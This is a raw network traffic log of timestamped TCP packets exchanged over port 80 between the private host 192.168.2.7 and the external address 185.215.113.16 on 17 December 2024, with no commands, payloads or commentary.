Dec 17, 2024 10:23:32.720532894 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.720577955 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.721618891 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.721718073 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.721757889 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.723071098 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.723203897 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.723249912 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.725569010 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.725718975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.725764036 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.726013899 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.726133108 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.726175070 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.727690935 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.727940083 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.727987051 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.729084969 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.729161024 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.729203939 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.730528116 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.730628014 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.730674028 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.732038975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.732198954 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.733560085 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.733628988 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.733655930 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.733706951 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.735089064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.735239983 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.735284090 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.736542940 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.736670017 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.736715078 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.738143921 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.738360882 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.738406897 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.739573956 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.739737034 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.739789009 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.741031885 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.741128922 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.741172075 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.742567062 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.742680073 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.742722034 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.744070053 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.744168043 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.744213104 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.745543957 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.745656967 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.745701075 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.747126102 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.747215033 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.747262955 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.748677969 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.748724937 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.748775005 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.750159979 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.750237942 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.750307083 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.751636028 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.765511036 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.765532970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.765584946 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.766140938 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.766168118 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.766210079 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.767505884 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.767523050 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.767627001 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.768824100 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.768879890 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.768892050 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.770297050 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.770376921 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.770401955 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.771783113 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.771830082 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.771889925 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.773305893 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.773361921 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.773412943 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.774816036 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.774878979 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.774945974 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.776350021 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.776401043 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.776487112 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.777839899 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.777889013 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.777930975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.779294014 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.779340029 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.838324070 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.838349104 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.838459969 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.839066982 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.839368105 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.839386940 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.839430094 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.840861082 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.840922117 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.840975046 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.842324972 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.842447042 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.842493057 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.843890905 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.843991041 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.844038963 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.845347881 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.845530987 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.845578909 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.846892118 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.846942902 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.846996069 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.848308086 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.848347902 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.848402977 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.849807024 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.849904060 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.850079060 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.851336956 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.851361036 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.851417065 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.894802094 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.894911051 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.894978046 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.895543098 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.895657063 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.895704985 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.897068024 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.897113085 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.897165060 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.898567915 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.898605108 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.898626089 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.900058985 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.900109053 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.900161982 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.901628017 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.901684999 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.901694059 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.903068066 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.903167009 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.903212070 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.904592037 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.904700041 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.904755116 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.906080961 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.906191111 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.906236887 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.907561064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.907608032 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.907715082 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.909073114 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.909166098 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.909214020 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.910557985 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.910609007 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.910648108 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.912115097 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.912158966 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.912254095 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.913589954 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.913603067 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.913650990 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.915119886 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.915225029 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.915278912 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.916579962 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.916687965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.916742086 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.918087959 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.918143988 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.918158054 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.919671059 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.919775009 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.919833899 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.921228886 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.921269894 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.921422005 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.923015118 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.923043013 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.923085928 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.924288034 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.924352884 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.924500942 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.925625086 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.925678015 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.925760031 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.927128077 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.927206993 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.927247047 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.928673029 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.928729057 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.928756952 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.930104971 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.930161953 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.930195093 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.931626081 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.931665897 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.931744099 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.933101892 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.933155060 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.933193922 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.934658051 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.934705973 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.934732914 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.936165094 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.936304092 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.936393023 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.937639952 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.937741041 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.937788010 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.939153910 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.939243078 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.939285040 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.940670013 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.940752029 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.940757036 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.942152977 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.942202091 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.942244053 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.943655014 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.943723917 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.957770109 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.957817078 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.957865000 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.958316088 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.958404064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.958461046 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.959494114 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.959613085 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.959673882 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.960999966 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.961119890 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.961590052 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.962488890 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.962575912 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.962903976 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.963987112 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.964137077 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.964184999 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.965486050 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.965594053 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.965639114 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.966999054 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.967096090 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.967185974 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.968481064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.968607903 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.970017910 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.970088005 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.970088959 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:32.971076012 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:32.971441031 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.024389029 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.030463934 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.030574083 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.030639887 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.031236887 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.031562090 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.031620026 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.031637907 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.032996893 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.033159018 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.033220053 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.034490108 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.034606934 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.034653902 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.035983086 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.036107063 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.036164045 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.037497044 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.037549973 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.037584066 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.038981915 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.039031982 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.039103031 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.040478945 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.040541887 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.040580034 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.042020082 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.042112112 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.042156935 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.043504953 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.043605089 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.043654919 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.086910963 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.086967945 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.087058067 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.087640047 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.087733984 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.087884903 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.089139938 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.089229107 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.089279890 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.090651035 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.090756893 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.090810061 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.092123985 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.092233896 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.092282057 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.093733072 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.093801022 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.093883038 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.095160007 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.095263004 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.095309019 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.096755981 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.096914053 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.098153114 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.098196983 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.098269939 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.099049091 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.099658012 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.099772930 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.099857092 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.101150990 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.101259947 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.101310015 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.102654934 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.102771997 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.102819920 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.104202986 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.104321003 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.104382992 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.105807066 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.105869055 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.105915070 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.109374046 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.110414982 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.110466957 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.110553026 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.110567093 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.110611916 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.111579895 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.111603975 CET	80	49752	185.215.113.16	192.168.2.7
